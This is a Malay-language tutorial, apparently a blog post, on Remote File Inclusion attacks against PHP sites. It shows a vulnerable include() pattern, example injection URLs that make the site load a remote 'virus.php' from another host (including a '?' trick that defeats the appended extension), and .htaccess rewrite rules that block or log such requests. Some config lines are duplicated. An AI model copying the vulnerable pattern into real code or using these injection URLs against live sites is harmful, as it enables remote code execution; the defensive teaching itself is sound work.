"Remote file inclusion" atau lebih mesra dikenali sebagai "R.F.I" adalah salah satu serangan terhadap laman web dengan membolehkan pihak penyerang menjalankan skrip atau aturcara mereka tersendiri. Kesannya bergantung kepada jenis skrip yang dimasukkan oleh pihak penyerang.
Sekiranya mereka menjalankan aturcara membuang pangkalan data, maka ke semua laman web anda tidak dapat dijalankan memandangkan pangkalan data anda sudah dibuang.
Akhirnya, anda terpaksa mengembalikan pangkalan data yang telah disalin sebelum ini bagi membolehkan laman web berjalan semula seperti biasa. Sehubungan dengan itu, anda boleh gunakan artikel ini sebagai panduan untuk menyelamatkan laman web dari digondam melalui cara ini seandainya anda menggunakan skrip laman web tersendiri. Jika menggunakan CMS, tidak perlu risau mengenainya.
Cara Serangan RFI
Kaedah serangan RFI ini sebenarnya bergantung kepada cara penulisan skrip anda di laman web yang telah dikesan oleh pihak penyerang.
Untuk melakukan penyerang perlu tahu secara lengkap skrip yang anda jalankan. Berikut adalah antara contoh aturcara laman web anda yang telah membuka ruang kepada penyerang dan semestinya dijalankan pada pelayan yang menggunakan PHP.
include($page . '.php');
Aturcara di atas dituliskan dalam satu fail .php yang bakal memproses maklumat yang dihantar contohnya satu laman web borang, selepas diklik butang "Hantar", semua maklumat yang dimasukkan oleh pengguna akan ditujukan ke laman ini. Katakan nama fail tersebut adalah index.php.
Maka selepas diklik butang "Hantar", alamat URL di pelayar web (web browser) akan bertukar menjadi seperti ini:
http://www.websaya.com/index.php?page=arkib
Di mana, bahagian aturcara di dalam index.php akan ditukarkan kepada pembolehubah yang dinyatakan dalam URL menjadi seperti ini:
include('arkib.php');
dan secara tersendirinya, fail index.php akan memanggil fail arkib.php ke dalamnya dan proses seterusnya dijalankan. Oleh kerana pembolehubah $page dalam index.php tidak dinyatakan nilaian asal (default) maka pengondam akan menggunakan pembolehubah ini untuk memasukkan nilaian dari laman web yang lain. Contohnya:
http://www.websaya.com/index.php?page=http://www.weblain.com/virus.php
dan di bahagian index.php pula, pembolehubah include akan menafsirkan nilaian tersebut menjadi seperti ini:
include('http://www.weblain.com/virus.php.php');
Tetapi oleh kerana pihak pengondam tidak mengetahui secara lengkap apakah jenis sambungan yang anda akan tetapkan, jadi mereka akan meletakkan tanda "?" dibelakang alamat URL bagi membolehkan aturcara dibahagian pelayan melepaskan fail tersebut untuk diproses.
Tanda "?" membawa maksud supaya pihak pelayan (server) menentukan sendiri bentuk fail tersebut. Sekiranya sambungan yang telah ditetapkan adalah .php, maka dengan sendiri fail tersebut dilepaskan.
Sekiranya sambungan dibahagian include ditetapkan kepada .ini berbanding .php seperti include($page . '.ini'); maka "?" akan menjadikan sambungan seterusnya sebagai pembolehubah yang lain. Sebagai contoh:
include($page . '.ini');
dan "URL injection" yang dimasukkan adalah seperti ini:
http://www.websaya.com/index.php?page=http://www.weblain.com/virus.php?
maka, proses yang berlaku di dalam index.php adalah:
include('http://www.weblain.com/virus.php?.ini');
pada asalnya, bagi menjalankan aturcara, pengondam seharusnya menggunakan sambungan fail .ini. Tetapi pihak pembangunan telah meletakkan sambungan .ini berbanding .php. Oleh kerana kehadiran "?", maka dibahagian pelayan (server) tetap menjalankan proses dengan memanggil fail tersebut walaupun sambungan berlainan kerana tanda "?" menjadikan sambungan .ini sebagai satu pembolehubah yang lain.
Dengan ini, fail virus.php tersebut dengan sendirinya akan dimasukkan ke dalam index.php dan dijalankan. Seterusnya akan merosakkan laman web anda mengikut aturcara yang ditulis oleh pihak pengondam.
Kenapa serangan ini boleh dijalankan
register_global dihidupkan. register_global membolehkan PHP mengambil secara pembolehubah yang dinyatakan di dalam URL tanpa melalui proses tapisan sekuriti terlebih dahulu. Oleh sebab itu, kebiasaanya untuk pelayan-pelayan web (server) yang baru, fungsi ini dimatikan secara asalnya.
allow_url_fopen dihidupkan. Fungsi ini membenarkan PHP untuk memasukkan sebarang maklumat atau membuka ruang untuk kemasukkan fail yang lain dari domain yang asal (kiranya memasukkan fail dari tempat yang lain). Oleh sebab itu, dalam versi PHP 5.2, fungsi ini telah diubahsuai dan diasingkan yang mana untuk fungsi include(), allow_url_include telah diwujudkan dan tetapan ini telah dimatikan secara sendirinya.
Cara mengatasi serangan RFI
Terdapat beberapa cara yang boleh kita lakukan untuk mengatasi dan melindungi laman web dari terkena serangan ini tetapi di sini saya cuma tunjukkan satu cara sahaja iaitu dengan menggunakan .htaccess fail. Sebelum itu, perlu pastikan bahawa pelayan menyokong "mod_rewrite"
Dengan menggunakan arahan di bawah ini, ia akan memeriksa sebarang permintaan yang datang dari URL luaran iaitu http://, https:// dan ftp://
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
Seterusnya dengan memasukkan kod di atas di dalam .htaccess dan diikuti dengan beberapa arahan lain seperti:
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)
RewriteRule ^(.+)$ - [F]
RewriteRule ^(.+)$ - [F]
Seandainya anda mempunyai akses terus ke dalam pelayan untuk mengendalikan beberapa modul-modul server, anda boleh gunakan arahan ini:
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp)://(.*)
RewriteRule ^(.+)$ - [env=rfi:true]
</IfModule>
CustomLog /path/to/logs/rfi.log combined env=rfi
RewriteEngine on
RewriteCond %{QUERY_STRING} (.*)(http|https|ftp)://(.*)
RewriteRule ^(.+)$ - [env=rfi:true]
</IfModule>
CustomLog /path/to/logs/rfi.log combined env=rfi
Sumber Rujukan